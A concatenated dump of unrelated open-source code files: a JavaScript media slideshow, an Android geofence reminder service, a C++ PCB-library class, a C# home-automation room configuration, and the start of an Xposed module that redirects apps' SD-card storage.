var reader = new FileReader();
reader.onload = function(theFile) {
var tmpArray = theFile.target.result.split(/\r\n|\r|\n/g);
var nbItems = tmpArray.length;
// Extensions checking
for (var i = 0; i < nbItems; i++) {
var ext = tmpArray[i].split('.').pop().toLowerCase();
if (extImg.match(ext) || extVid.match(ext) || extVidObj.match(ext)) arrF.push(tmpArray[i]);
}
// Ramdomizing the array
arrF = randArray(arrF);
console.log(arrF.length+' files found.');
initSlideshow();
};
reader.readAsText(f);
}
// Start the slideshow
function initSlideshow() {
if (arrF.length != 0) {
var nfMax = arrFS.length;
console.log("Starting the Slideshow. Timer : "+timer+" nF : "+nF+" nFMax : "+nfMax);
if (nfMax == 0 || nfMax == nF) {
if (nfMax == nF && nfMax != 0) clearInterval(nextF);
if (nfMax == 0) setTimer(0);
nextF = setInterval(showCurrentFile, timer);
showCurrentFile(); // First display
document.getElementById('files').blur();
} else {
clearInterval(nextF);
nextF = setInterval(showNextFile, timer);
}
}
}
// Display the current file
function showCurrentFile() {
var nbFiles = arrF.length;
if (nbFiles != 0) {
if (nbFiles-1 < nF) { // Reset the slideshow if we reach the end.
arrF = randArray(arrF);
arrFS = [];
nF = 0;
console.log("End of files queue reached. Slideshow shuffled and reset.");
}
var toDisplay = arrF[nF];
if (regDrive != null) toDisplay = toDisplay.replace(regDrive,"");
toDisplay = toDisplay.replace(/\\/gi,"/");
console.log("Displaying file : "+toDisplay);
arrFS.push(toDisplay);
// Display the file
displayFile(toDisplay);
nF++;
precFunc = "Current";
}
}
// Display the file
function displayFile(toDisplay) {
var ext = toDisplay.split('.').pop().toLowerCase();
if (extImg.match(ext)) {
document.getElementById('displayF').innerHTML = '<img src="'+rootSrc+encodeURI(toDisplay)+'" alt="" id="cImg" onload="updateImgDim();" style="max-height: '+maxHeight+'px; min-width: '+minWidth+'px;" />';
} else if (extVid.match(ext)) {
document.getElementById('displayF').innerHTML = '<video controls autoplay id="vid"><source src="'+rootSrc+encodeURI(toDisplay)+'" type="video/'+ext+'"></video>';
if (pause == false) {
console.log("Video displayed, starting pause.");
setPause(); // Putting the slideshow in pause mode for the video
document.getElementById('vid').addEventListener('ended', videoEnded, false); // Release the slideshow at the end of the video
}
} else if (extVidObj.match(ext)) {
document.getElementById('displayF').innerHTML = '<object id="vid" data="'+rootSrc+encodeURI(toDisplay)+'" type="video/'+ext+'" height="'+maxHeight+'" width="'+parseInt((maxHeight/9)*16)+'"><param name="autoplay" value="true"></object>';
if (pause == false) {
console.log("Video displayed, starting pause.");
setPause(); // Putting the slideshow in pause mode for the video
document.getElementById('vid').addEventListener('ended', videoEnded, false); // Release the slideshow at the end of the video
}
}
console.log("File "+nF+" displayed.");
}
// After the end of a video : Removing ended event and releasing the slideshow
function videoEnded() {
document.getElementById('vid').removeEventListener('ended', videoEnded, false);
console.log("Video ended, releasing the slideshow.");
setPause();
}
// Show previous file(s) already displayed
function showPrevFile() {
if (arrFS.length > 1 && nF > 0) {
console.log("Displaying previous file.");
if (pause == false && precFunc != "Prev") {
console.log("Changing slideshow function to showNextFile().");
clearInterval(nextF);
nextF = setInterval(showNextFile, timer);
}
if (nF == arrFS.length) nF--;
nF--;
if (arrFS[nF] != undefined) {
var toDisplay = arrFS[nF];
displayFile(toDisplay);
precFunc = "Prev";
}
}
}
// Show next file(s) already displayed
function showNextFile() {
if (arrFS.length-1 > nF) {
console.log("Displaying next file.");
if (pause == false && precFunc != "Next") {
console.log("Changing slideshow function to showNextFile().");
clearInterval(nextF);
nextF = setInterval(showNextFile, timer);
}
nF++;
if (arrFS[nF] != undefined) {
var toDisplay = arrFS[nF];
displayFile(toDisplay);
precFunc = "Next";
}
} else {
nF = arrFS.length;
if (pause == true) {
showCurrentFile();
} else {
initSlideshow();
}
}
}
// Change pause status
function setPause() {
pause = !pause;
console.log("Pause set : "+pause);
if (pause == true) {
document.getElementById('pause_button').value = "Release";
clearInterval(nextF);
} else {
document.getElementById('pause_button').value = "Pause";
initSlideshow();
}
}
// Changer timer value
function setTimer(add) {
timer = timer + add;
if (timer < 1000) timer = 1000;
console.log("New timer : "+timer);
if (arrFS.length > 0) {
clearInterval(nextF);
nextF = setInterval(showCurrentFile, timer);
console.log(nextF);
}
document.getElementById('timer').innerHTML = timer/1000 + " seconds";
}
// Update dimensions properties for the image
function updateImgDim() {
// Update maximum height to avoid overflow
var cMaxHeight = window.innerHeight-30;
if (cMaxHeight != maxHeight) {
maxHeight = cMaxHeight;
console.log("CSS Updated with max-height = "+maxHeight);
}
// Keeping aspect-ratio of the image
var cImg = document.getElementById("cImg");
var imgW = cImg.naturalWidth;
var imgH = cImg.naturalHeight;
if (imgH > maxHeight) {
var diffH = (maxHeight-imgH)/imgH;
var newWidth = parseInt(imgW*(1+diffH));
if (minWidth > newWidth) cImg.style.minWidth = "";
cImg.style.width = newWidth;
}
}
// Display / Hide the config window
function showWindowConfig() {
if (document.getElementById('intro') != undefined) document.getElementById('intro').style.visibility = "hidden";
var configW = document.getElementById('configW');
if (configW.style.visibility == "hidden") {
document.getElementById('confTimer').value = timer/1000;
document.getElementById('confExtImg').value = extImg;
document.getElementById('confSaved').src = "img/space.png";
configW.style.visibility = "visible";
} else {
configW.style.visibility = "hidden";
}
}
// Saving the configuration (cookie)
function saveConfig() {
// TODO check and save all config parameters
var form = document.forms['configure'];
var newTimer = parseInt(form['confTimer'].value);
timer = (newTimer > 1) ? newTimer*1000 : 1000;
extImg = form['confExtImg'].value;
var confSaved = document.getElementById('confSaved');
writeCookie() ? confSaved.src = "img/check.png" : confSaved.src = "img/error.png";
setTimeout(function(){ confSaved.src = "img/space.png" }, 2000);
}
// Return the config in a JSON String
function serializeConfig() {
var data = '{"timer":"'+timer+'", "extImg":"'+extImg+'"}';
// TODO adding all config parameters
return data;
}
// Writing the config cookie
function writeCookie() {
var d = new Date();
d.setTime(d.getTime() + (expireDays*24*60*60*1000));
document.cookie = serializeConfig()+';path=/;expires='+d.toUTCString();
if (document.cookie) {
console.log("Config saved in a cookie.");
return true;
}
return false;
}
// Checking and reading the config cookie
function readCookie() {
var c = document.cookie.split(';');
if (c[0]) {
data = JSON.parse(c[0]);
var newTimer = parseInt(data['timer']);
timer = (newTimer > 1000) ? newTimer : 1000;
extImg = data['extImg'];
return true;
}
return false;
}
// Randomize an array
function randArray(array) {
var itemsLeft = array.length, tmpItem, randIndex;
while (itemsLeft !== 0) {
randIndex = Math.floor(Math.random() * itemsLeft);
itemsLeft -= 1;
tmpItem = array[itemsLeft];
array[itemsLeft] = array[randIndex];
array[randIndex] = tmpItem;
}
return array;
}
// Keystrokes
function keyStrokes(event) {
var ek = event.keyCode;
if (ek == keyShortcuts.pause) setPause(); // spacebar
if (ek == keyShortcuts.prev) showPrevFile(); // right arrow
if (ek == keyShortcuts.next) showNextFile(); // right arrow
if (ek == keyShortcuts.incTimer) setTimer(+1000); // up arrow
if (ek == keyShortcuts.decTimer) setTimer(-1000); // down arrow
if (ek == keyShortcuts.configW) showWindowConfig(); // echap
}
document.getElementById('files').addEventListener('change', handleFileSelect, false);
document.getElementById('pause_button').addEventListener('click', setPause, false);
document.getElementById('config_img').addEventListener('click', showWindowConfig, false);
document.getElementById('config_close').addEventListener('click', showWindowConfig, false);
document.onkeydown = keyStrokes;
readCookie(); | gpl-2.0 |
trigor74/travelers-diary | app/src/main/java/com/travelersdiary/services/GeofenceSetterService.java | 13352 | package com.travelersdiary.services;
import android.app.PendingIntent;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.location.Location;
import android.os.Bundle;
import android.os.IBinder;
import android.support.annotation.NonNull;
import android.support.annotation.Nullable;
import android.util.Log;
import com.google.android.gms.common.ConnectionResult;
import com.google.android.gms.common.GoogleApiAvailability;
import com.google.android.gms.common.api.GoogleApiClient;
import com.google.android.gms.common.api.ResultCallback;
import com.google.android.gms.common.api.Status;
import com.google.android.gms.location.Geofence;
import com.google.android.gms.location.GeofencingRequest;
import com.google.android.gms.location.LocationListener;
import com.google.android.gms.location.LocationRequest;
import com.google.android.gms.location.LocationServices;
import com.travelersdiary.Constants;
import com.travelersdiary.models.LocationPoint;
import com.travelersdiary.models.ReminderItem;
import java.util.HashMap;
import java.util.Map;
public class GeofenceSetterService extends Service implements
GoogleApiClient.ConnectionCallbacks,
GoogleApiClient.OnConnectionFailedListener,
ResultCallback<Status>,
LocationListener { // for getting current position
private static final String TAG = "GeofenceSetterService";
private static final String ACTION_SET_GEOFENCE = "ACTION_SET_GEOFENCE";
private static final String ACTION_CANCEL_GEOFENCE = "ACTION_CANCEL_GEOFENCE";
private static final String EXTRA_UID = "EXTRA_UID";
private static final String EXTRA_TITLE = "EXTRA_TITLE";
private static final String EXTRA_LOCATION_POINT = "EXTRA_LOCATION_POINT";
private static final String EXTRA_LOCATION_TITLE = "EXTRA_LOCATION_TITLE";
private static final String EXTRA_RADIUS = "EXTRA_RADIUS";
private static final String EXTRA_ITEM_KEY = "EXTRA_ITEM_KEY";
private static final int DEFAULT_RADIUS = 500;
private static final int DEFAULT_NOTIFICATION_RESPONSIVENESS = 2000; // 2 second
private GoogleApiClient mGoogleApiClient;
private LocationRequest mLocationRequest;
private boolean isLocationUpdates = false;
private Map<PendingIntent, GeofencingRequest> mGeofencingRequestsMap = new HashMap<>();
public GeofenceSetterService() {
}
@Override
public IBinder onBind(Intent intent) {
return null;
}
public static void setGeofence(Context context, ReminderItem reminderItem, String itemKey) {
Intent intent = new Intent(context, GeofenceSetterService.class);
intent.setAction(ACTION_SET_GEOFENCE);
intent.putExtra(EXTRA_UID, reminderItem.getUID());
intent.putExtra(EXTRA_TITLE, reminderItem.getTitle());
intent.putExtra(EXTRA_LOCATION_TITLE, reminderItem.getWaypoint().getTitle());
intent.putExtra(EXTRA_LOCATION_POINT, reminderItem.getWaypoint().getLocation());
intent.putExtra(EXTRA_RADIUS, reminderItem.getDistance());
intent.putExtra(EXTRA_ITEM_KEY, itemKey);
context.startService(intent);
}
public static void cancelGeofence(Context context, ReminderItem reminderItem) {
Intent intent = new Intent(context, GeofenceSetterService.class);
intent.setAction(ACTION_CANCEL_GEOFENCE);
intent.putExtra(EXTRA_UID, reminderItem.getUID());
context.startService(intent);
}
@Override
public void onCreate() {
super.onCreate();
buildGoogleApiClient();
// LocationRequest for getting current position
mLocationRequest = new LocationRequest();
// We want a location update every 5 seconds.
mLocationRequest.setInterval(5000);
// We want the location to be as accurate as possible.
mLocationRequest.setPriority(LocationRequest.PRIORITY_HIGH_ACCURACY);
if (isGooglePlayServicesAvailable()) {
mGoogleApiClient.connect();
}
}
protected synchronized void buildGoogleApiClient() {
mGoogleApiClient = new GoogleApiClient.Builder(this)
.addConnectionCallbacks(this)
.addOnConnectionFailedListener(this)
.addApi(LocationServices.API)
.build();
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
if (intent == null) {
if (!mGoogleApiClient.isConnected() && !mGoogleApiClient.isConnecting()) {
mGoogleApiClient.connect();
}
return START_STICKY;
}
String action = intent.getAction();
if (action == null) {
return START_STICKY;
}
final int uid = intent.getIntExtra(EXTRA_UID, 0);
switch (action) {
case ACTION_SET_GEOFENCE:
String title = intent.getStringExtra(EXTRA_TITLE);
String locationTitle = intent.getStringExtra(EXTRA_LOCATION_TITLE);
LocationPoint locationPoint = (LocationPoint) intent.getSerializableExtra(GeofenceSetterService.EXTRA_LOCATION_POINT);
int radius = intent.getIntExtra(EXTRA_RADIUS, DEFAULT_RADIUS);
String itemKey = intent.getStringExtra(EXTRA_ITEM_KEY);
PendingIntent pendingIntent = getGeofencePendingIntent(uid, title, locationTitle, itemKey);
GeofencingRequest geofencingRequest = getGeofencingRequest(getGeofence(uid, locationPoint.getLatitude(), locationPoint.getLongitude(), radius));
try {
addGeofence(pendingIntent, geofencingRequest);
} catch (SecurityException securityException) {
// Catch exception generated if the app does not use ACCESS_FINE_LOCATION permission.
showSecurityException(securityException);
}
break;
case ACTION_CANCEL_GEOFENCE:
PendingIntent pendingIntentRemove = getGeofencePendingIntent(uid, null, null, null);
try {
removeGeofence(pendingIntentRemove);
} catch (SecurityException securityException) {
// Catch exception generated if the app does not use ACCESS_FINE_LOCATION permission.
showSecurityException(securityException);
}
break;
}
return START_STICKY;
}
private PendingIntent getGeofencePendingIntent(int uid, String title, String locationTitle, String itemKey) {
Intent intent = new Intent(this, NotificationIntentService.class);
intent.putExtra(NotificationIntentService.KEY_UID, uid);
intent.putExtra(NotificationIntentService.KEY_TYPE, Constants.FIREBASE_REMINDER_TASK_ITEM_TYPE_LOCATION);
intent.putExtra(NotificationIntentService.KEY_TITLE, title);
intent.putExtra(NotificationIntentService.KEY_LOCATION_TITLE, locationTitle);
intent.putExtra(NotificationIntentService.KEY_ITEM_KEY, itemKey);
return PendingIntent.getService(this, uid, intent, PendingIntent.FLAG_UPDATE_CURRENT);
}
private Geofence getGeofence(int uid, double latitude, double longitude, int radius) {
return new Geofence.Builder()
.setRequestId(Integer.toString(uid))
.setTransitionTypes(Geofence.GEOFENCE_TRANSITION_ENTER)
.setCircularRegion(latitude, longitude, (float) radius)
.setExpirationDuration(Geofence.NEVER_EXPIRE)
.setNotificationResponsiveness(DEFAULT_NOTIFICATION_RESPONSIVENESS)
.build();
}
private GeofencingRequest getGeofencingRequest(Geofence geofence) {
return new GeofencingRequest.Builder()
.addGeofence(geofence)
.setInitialTrigger(GeofencingRequest.INITIAL_TRIGGER_ENTER)
.build();
}
private void addGeofence(PendingIntent pendingIntent, GeofencingRequest geofencingRequest) {
if (!mGeofencingRequestsMap.containsKey(pendingIntent)) {
mGeofencingRequestsMap.put(pendingIntent, geofencingRequest);
if (mGoogleApiClient.isConnected()) {
if (!isLocationUpdates) {
// requestLocationUpdates for getting current position
LocationServices.FusedLocationApi.requestLocationUpdates(
mGoogleApiClient, mLocationRequest, this);
isLocationUpdates = true;
}
LocationServices.GeofencingApi.addGeofences(
mGoogleApiClient,
geofencingRequest,
pendingIntent
).setResultCallback(this);
}
}
}
private void removeGeofence(PendingIntent pendingIntent) {
if (mGeofencingRequestsMap.containsKey(pendingIntent)) {
mGeofencingRequestsMap.remove(pendingIntent);
if (mGoogleApiClient.isConnected()) {
LocationServices.GeofencingApi.removeGeofences(
mGoogleApiClient,
pendingIntent
).setResultCallback(this);
if (mGeofencingRequestsMap.isEmpty() && isLocationUpdates) {
LocationServices.FusedLocationApi.removeLocationUpdates(mGoogleApiClient, this);
isLocationUpdates = false;
stopSelf();
}
}
}
}
@Override
public void onConnected(@Nullable Bundle bundle) {
Log.i(TAG, "Connected to GoogleApiClient");
try {
// requestLocationUpdates for getting current position
LocationServices.FusedLocationApi.requestLocationUpdates(
mGoogleApiClient, mLocationRequest, this);
isLocationUpdates = true;
for (Map.Entry<PendingIntent, GeofencingRequest> entry :
mGeofencingRequestsMap.entrySet()) {
addGeofence(entry.getKey(), entry.getValue());
}
} catch (SecurityException securityException) {
// Catch exception generated if the app does not use ACCESS_FINE_LOCATION permission.
showSecurityException(securityException);
}
}
@Override
public void onConnectionSuspended(int i) {
// The connection to Google Play services was lost for some reason.
Log.i(TAG, "Connection suspended");
// onConnected() will be called again automatically when the service reconnects
}
@Override
public void onConnectionFailed(@NonNull ConnectionResult connectionResult) {
// Refer to the javadoc for ConnectionResult to see what error codes might be returned in
// onConnectionFailed.
Log.i(TAG, "Connection failed: ConnectionResult.getErrorCode() = " + connectionResult.getErrorCode());
}
// Runs when the result of calling addGeofences() and removeGeofences() becomes available.
// Either method can complete successfully or with an error.
@Override
public void onResult(@NonNull Status status) {
if (status.isSuccess()) {
Log.i(TAG, "Geofences added/removed");
} else {
Log.e(TAG, "Error add/remove geofences: GeofenceStatusCode = " + status.getStatusCode());
}
}
@Override
public void onLocationChanged(Location location) {
// for getting current position
Log.v(TAG, "Location Information\n"
+ "==========\n"
+ "Provider:\t" + location.getProvider() + "\n"
+ "Lat & Long:\t" + location.getLatitude() + ", "
+ location.getLongitude() + "\n"
+ "Altitude:\t" + location.getAltitude() + "\n"
+ "Bearing:\t" + location.getBearing() + "\n"
+ "Speed:\t\t" + location.getSpeed() + "\n"
+ "Accuracy:\t" + location.getAccuracy() + "\n");
}
@Override
public void onDestroy() {
try {
for (Map.Entry<PendingIntent, GeofencingRequest> entry :
mGeofencingRequestsMap.entrySet()) {
removeGeofence(entry.getKey());
}
} catch (SecurityException securityException) {
// Catch exception generated if the app does not use ACCESS_FINE_LOCATION permission.
showSecurityException(securityException);
}
mGeofencingRequestsMap.clear();
mGoogleApiClient.disconnect();
super.onDestroy();
}
private boolean isGooglePlayServicesAvailable() {
GoogleApiAvailability apiAvailability = GoogleApiAvailability.getInstance();
int resultCode = apiAvailability.isGooglePlayServicesAvailable(getApplicationContext());
if (resultCode != ConnectionResult.SUCCESS) {
if (apiAvailability.isUserResolvableError(resultCode)) {
Log.e(TAG, "Google Play Services not available");
}
return false;
}
return true;
}
private void showSecurityException(SecurityException securityException) {
Log.e(TAG, "Invalid location permission. " +
"You need to use ACCESS_FINE_LOCATION with geofences", securityException);
}
}
| gpl-2.0 |
udif/qautorouter-gitorious | specctra/cpcblibrary.cpp | 1568 | /*******************************************************************************
* Copyright (C) Pike Aerospace Research Corporation *
* Author: Mike Sharkey <[email protected]> *
*******************************************************************************/
#include "cpcblibrary.h"
#include "cpcbimage.h"
#include "cpcbpadstack.h"
#define inherited CSpecctraObject
CPcbLibrary::CPcbLibrary(QGraphicsItem *parent)
: inherited(parent)
{
}
CPcbLibrary::~CPcbLibrary()
{
}
/**
* @return the image count
*/
int CPcbLibrary::images()
{
return childCount("image");
}
/**
* @return a image by index
*/
CPcbImage* CPcbLibrary::image(int idx)
{
return (CPcbImage*)child("image",idx);
}
/**
* @return a image by name
*/
CPcbImage* CPcbLibrary::image(QString name)
{
int cc = childCount("image");
for(int n=0; n<cc; n++)
{
CPcbImage* image = (CPcbImage*)child("image",n);
if ( image->name() == name )
return image;
}
return NULL;
}
/**
* @return the padstack count
*/
int CPcbLibrary::padstacks()
{
return childCount("padstack" );
}
/**
* @return a padstack by index
*/
CPcbPadstack* CPcbLibrary::padstack(int idx)
{
return (CPcbPadstack*)child("padstack",idx);
return NULL;
}
/**
* @return a padstack by name
*/
CPcbPadstack* CPcbLibrary::padstack(QString name)
{
int cc = childCount("padstack");
for(int n=0; n<cc; n++)
{
CPcbPadstack* padstack = (CPcbPadstack*)child("padstack",n);
if ( padstack->name() == name )
return padstack;
}
return NULL;
}
| gpl-2.0 |
byrialsen/HA4IoT | Controllers/HA4IoT.Controller.Main/Rooms/OfficeConfiguration.cs | 9855 | using System;
using HA4IoT.Actuators;
using HA4IoT.Actuators.Sockets;
using HA4IoT.Actuators.StateMachines;
using HA4IoT.Actuators.Triggers;
using HA4IoT.Contracts.Actuators;
using HA4IoT.Contracts.Areas;
using HA4IoT.Contracts.Components;
using HA4IoT.Contracts.Hardware;
using HA4IoT.Contracts.Services.Daylight;
using HA4IoT.Contracts.Services.System;
using HA4IoT.Hardware.CCTools;
using HA4IoT.Hardware.I2CHardwareBridge;
using HA4IoT.Hardware.RemoteSwitch;
using HA4IoT.PersonalAgent;
using HA4IoT.Sensors;
using HA4IoT.Sensors.Buttons;
using HA4IoT.Services.Areas;
using HA4IoT.Services.Devices;
using Newtonsoft.Json.Linq;
namespace HA4IoT.Controller.Main.Rooms
{
internal class OfficeConfiguration
{
private readonly IDeviceService _deviceService;
private readonly IAreaService _areaService;
private readonly IDaylightService _daylightService;
private readonly CCToolsBoardService _ccToolsBoardService;
private readonly SynonymService _synonymService;
private readonly RemoteSocketService _remoteSocketService;
private readonly ActuatorFactory _actuatorFactory;
private readonly SensorFactory _sensorFactory;
public enum Office
{
TemperatureSensor,
HumiditySensor,
MotionDetector,
SocketFrontLeft,
SocketFrontRight,
SocketWindowLeft,
SocketWindowRight,
SocketRearRight,
SocketRearLeft,
SocketRearLeftEdge,
RemoteSocketDesk,
ButtonUpperLeft,
ButtonUpperRight,
ButtonLowerLeft,
ButtonLowerRight,
CombinedCeilingLights,
WindowLeft,
WindowRight
}
public OfficeConfiguration(
IDeviceService deviceService,
IAreaService areaService,
IDaylightService daylightService,
CCToolsBoardService ccToolsBoardService,
SynonymService synonymService,
RemoteSocketService remoteSocketService,
ActuatorFactory actuatorFactory,
SensorFactory sensorFactory)
{
if (deviceService == null) throw new ArgumentNullException(nameof(deviceService));
if (areaService == null) throw new ArgumentNullException(nameof(areaService));
if (daylightService == null) throw new ArgumentNullException(nameof(daylightService));
if (ccToolsBoardService == null) throw new ArgumentNullException(nameof(ccToolsBoardService));
if (synonymService == null) throw new ArgumentNullException(nameof(synonymService));
if (remoteSocketService == null) throw new ArgumentNullException(nameof(remoteSocketService));
if (actuatorFactory == null) throw new ArgumentNullException(nameof(actuatorFactory));
if (sensorFactory == null) throw new ArgumentNullException(nameof(sensorFactory));
_deviceService = deviceService;
_areaService = areaService;
_daylightService = daylightService;
_ccToolsBoardService = ccToolsBoardService;
_synonymService = synonymService;
_remoteSocketService = remoteSocketService;
_actuatorFactory = actuatorFactory;
_sensorFactory = sensorFactory;
}
public void Apply()
{
var hsrel8 = _ccToolsBoardService.RegisterHSREL8(InstalledDevice.OfficeHSREL8, new I2CSlaveAddress(20));
var hspe8 = _ccToolsBoardService.RegisterHSPE8OutputOnly(InstalledDevice.UpperFloorAndOfficeHSPE8, new I2CSlaveAddress(37));
var input4 = _deviceService.GetDevice<HSPE16InputOnly>(InstalledDevice.Input4);
var input5 = _deviceService.GetDevice<HSPE16InputOnly>(InstalledDevice.Input5);
var i2CHardwareBridge = _deviceService.GetDevice<I2CHardwareBridge>();
const int SensorPin = 2;
var room = _areaService.CreateArea(Room.Office);
_sensorFactory.RegisterWindow(room, Office.WindowLeft,
w => w.WithLeftCasement(input4.GetInput(11)).WithRightCasement(input4.GetInput(12), input4.GetInput(10)));
_sensorFactory.RegisterWindow(room, Office.WindowRight,
w => w.WithLeftCasement(input4.GetInput(8)).WithRightCasement(input4.GetInput(9), input5.GetInput(8)));
_sensorFactory.RegisterTemperatureSensor(room, Office.TemperatureSensor,
i2CHardwareBridge.DHT22Accessor.GetTemperatureSensor(SensorPin));
_sensorFactory.RegisterHumiditySensor(room, Office.HumiditySensor,
i2CHardwareBridge.DHT22Accessor.GetHumiditySensor(SensorPin));
_sensorFactory.RegisterMotionDetector(room, Office.MotionDetector, input4.GetInput(13));
_actuatorFactory.RegisterSocket(room, Office.SocketFrontLeft, hsrel8.GetOutput(0));
_actuatorFactory.RegisterSocket(room, Office.SocketFrontRight, hsrel8.GetOutput(6));
_actuatorFactory.RegisterSocket(room, Office.SocketWindowLeft, hsrel8.GetOutput(10).WithInvertedState());
_actuatorFactory.RegisterSocket(room, Office.SocketWindowRight, hsrel8.GetOutput(11).WithInvertedState());
_actuatorFactory.RegisterSocket(room, Office.SocketRearLeftEdge, hsrel8.GetOutput(7));
_actuatorFactory.RegisterSocket(room, Office.SocketRearLeft, hsrel8.GetOutput(2));
_actuatorFactory.RegisterSocket(room, Office.SocketRearRight, hsrel8.GetOutput(1));
_actuatorFactory.RegisterSocket(room, Office.RemoteSocketDesk, _remoteSocketService.GetOutput(0));
_sensorFactory.RegisterButton(room, Office.ButtonUpperLeft, input5.GetInput(0));
_sensorFactory.RegisterButton(room, Office.ButtonLowerLeft, input5.GetInput(1));
_sensorFactory.RegisterButton(room, Office.ButtonLowerRight, input4.GetInput(14));
_sensorFactory.RegisterButton(room, Office.ButtonUpperRight, input4.GetInput(15));
_actuatorFactory.RegisterStateMachine(room, Office.CombinedCeilingLights, (s, a) => SetupLight(s, hsrel8, hspe8, a));
room.GetButton(Office.ButtonUpperLeft).GetPressedLongTrigger().Attach(() =>
{
room.GetStateMachine(Office.CombinedCeilingLights).TryTurnOff();
room.GetSocket(Office.SocketRearLeftEdge).TryTurnOff();
room.GetSocket(Office.SocketRearLeft).TryTurnOff();
room.GetSocket(Office.SocketFrontLeft).TryTurnOff();
});
}
private void SetupLight(StateMachine light, HSREL8 hsrel8, HSPE8OutputOnly hspe8, IArea room)
{
// Front lights (left, middle, right)
var fl = hspe8[HSPE8Pin.GPIO0].WithInvertedState();
var fm = hspe8[HSPE8Pin.GPIO2].WithInvertedState();
var fr = hsrel8[HSREL8Pin.GPIO0].WithInvertedState();
// Middle lights (left, middle, right)
var ml = hspe8[HSPE8Pin.GPIO1].WithInvertedState();
var mm = hspe8[HSPE8Pin.GPIO3].WithInvertedState();
var mr = hsrel8[HSREL8Pin.GPIO1].WithInvertedState();
// Rear lights (left, right)
// Two mechanical relays.
var rl = hsrel8[HSREL8Pin.GPIO5];
var rr = hsrel8[HSREL8Pin.GPIO4];
light.AddOffState()
.WithLowOutput(fl)
.WithLowOutput(fm)
.WithLowOutput(fr)
.WithLowOutput(ml)
.WithLowOutput(mm)
.WithLowOutput(mr)
.WithLowOutput(rl)
.WithLowOutput(rr);
light.AddOnState()
.WithHighOutput(fl)
.WithHighOutput(fm)
.WithHighOutput(fr)
.WithHighOutput(ml)
.WithHighOutput(mm)
.WithHighOutput(mr)
.WithHighOutput(rl)
.WithHighOutput(rr);
var deskOnlyStateId = new ComponentState("DeskOnly");
light.AddState(deskOnlyStateId)
.WithHighOutput(fl)
.WithHighOutput(fm)
.WithLowOutput(fr)
.WithHighOutput(ml)
.WithLowOutput(mm)
.WithLowOutput(mr)
.WithLowOutput(rl)
.WithLowOutput(rr);
var couchOnlyStateId = new ComponentState("CouchOnly");
light.AddState(couchOnlyStateId)
.WithLowOutput(fl)
.WithLowOutput(fm)
.WithLowOutput(fr)
.WithLowOutput(ml)
.WithLowOutput(mm)
.WithLowOutput(mr)
.WithLowOutput(rl)
.WithHighOutput(rr);
light.WithTurnOffIfStateIsAppliedTwice();
room.GetButton(Office.ButtonLowerRight)
.GetPressedShortlyTrigger()
.Attach(light.GetSetStateAction(couchOnlyStateId));
room.GetButton(Office.ButtonLowerLeft)
.GetPressedShortlyTrigger()
.Attach(light.GetSetStateAction(deskOnlyStateId));
room.GetButton(Office.ButtonUpperLeft)
.GetPressedShortlyTrigger()
.Attach(light.GetSetStateAction(BinaryStateId.On));
_synonymService.AddSynonymsForArea(Room.Office, "Büro", "Arbeitszimmer");
_synonymService.AddSynonymsForComponent(Room.Office, Office.CombinedCeilingLights, "Licht");
_synonymService.AddSynonymsForComponent(Room.Office, Office.SocketRearLeftEdge, "Rotlicht", "Pufflicht", "Rot");
_synonymService.AddSynonymsForComponentState(deskOnlyStateId, "Schreibtisch");
_synonymService.AddSynonymsForComponentState(couchOnlyStateId, "Couch");
}
}
}
| gpl-2.0 |
RichardDong1994/SDLink | src/me/dyq/android/SDLink/XposedMain.java | 30670 | package me.dyq.android.SDLink;
import java.io.File;
import java.util.HashSet;
import java.util.Locale;
import java.util.Set;
import me.dyq.android.SDLink.SettingValueClass.AppValue;
import me.dyq.android.SDLink.SettingValueClass.hookType;
import org.xmlpull.v1.XmlPullParser;
import android.annotation.TargetApi;
import android.os.Build;
import android.os.Environment;
import android.util.ArrayMap;
import android.util.Log;
import de.robv.android.xposed.IXposedHookLoadPackage;
import de.robv.android.xposed.IXposedHookZygoteInit;
import de.robv.android.xposed.XC_MethodHook;
import de.robv.android.xposed.XC_MethodReplacement;
import de.robv.android.xposed.XSharedPreferences;
import de.robv.android.xposed.XposedBridge;
import de.robv.android.xposed.XposedHelpers;
import de.robv.android.xposed.callbacks.XC_LoadPackage.LoadPackageParam;
public class XposedMain implements IXposedHookZygoteInit,IXposedHookLoadPackage {
//public static final boolean DEBUG = false;
public static final String unChangePrefix = "__dyq_unchange_";
public static boolean debug = false;
protected XSettingHandler xsett;
@Override
public void handleLoadPackage(LoadPackageParam lpparam) throws Throwable
{
final String packageName=lpparam.packageName;
if(packageName.equals("me.dyq.android.SDLink"))//×Ô¼º
{
DebugLog("in self");
/*XC_MethodReplacement checkversion = new XC_MethodReplacement()
{
@Override
protected Object replaceHookedMethod(MethodHookParam param)
throws Throwable {
DebugLog("set enabledversion = "+MainActivity.currentVersion);
return MainActivity.currentVersion;
}
};
XposedHelpers.findAndHookMethod(MainActivity.class, "getEnabledVersion", checkversion);*/
XposedHelpers.findAndHookMethod("me.dyq.android.SDLink.MainActivity", lpparam.classLoader, "getEnabledVersion",
XC_MethodReplacement.returnConstant(MainActivity.currentVersion));
}
//global setting
XSharedPreferences settpref=new XSharedPreferences("me.dyq.android.SDLink","Setting");
final SettingHandler sethdl=new SettingHandler(settpref);
if(sethdl.isFixSDPerm() && Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT && Build.VERSION.SDK_INT < Build.VERSION_CODES.M)
{
DebugLog("enable fixsdperm");
this.fixSDPermission(lpparam.packageName, lpparam.processName, lpparam.classLoader);
}
if(sethdl.isFixSDPerm6() && lpparam.packageName.equals("android") && lpparam.processName.equals("android") && Build.VERSION.SDK_INT >= Build.VERSION_CODES.M)
//if(sethdl.isFixSDPerm6() && Build.VERSION.SDK_INT >= Build.VERSION_CODES.M)
{
DebugLog("enable fixsdperm6");
this.fixSDPermission6(lpparam.packageName, lpparam.processName, lpparam.classLoader);
}
//perappsetting
XSharedPreferences appsettpref=new XSharedPreferences("me.dyq.android.SDLink","PerAppSetting");
AppSettingHandler appsethdl=new AppSettingHandler();
appsethdl.loadSetting(appsettpref);
if(sethdl.isEnable())
{
//app setting
AppSettingModel mSettingModel=appsethdl.getAppSetting(packageName);
//app redirect value
int value = mSettingModel.value;
int hooktype = mSettingModel.hooktype;
if(hooktype == hookType.MODE_DEFAULT) hooktype = sethdl.getDefaultHookType();
//Set<String> exdirs = mSettingModel.ExcludeDir;
if(value == AppValue.GLOBAL_SETTING || value == AppValue.SELECT_PATH) //ÒÑÆôÓÃ
{
DebugLog("hook to app: "+packageName);
debug = sethdl.isDebugger();
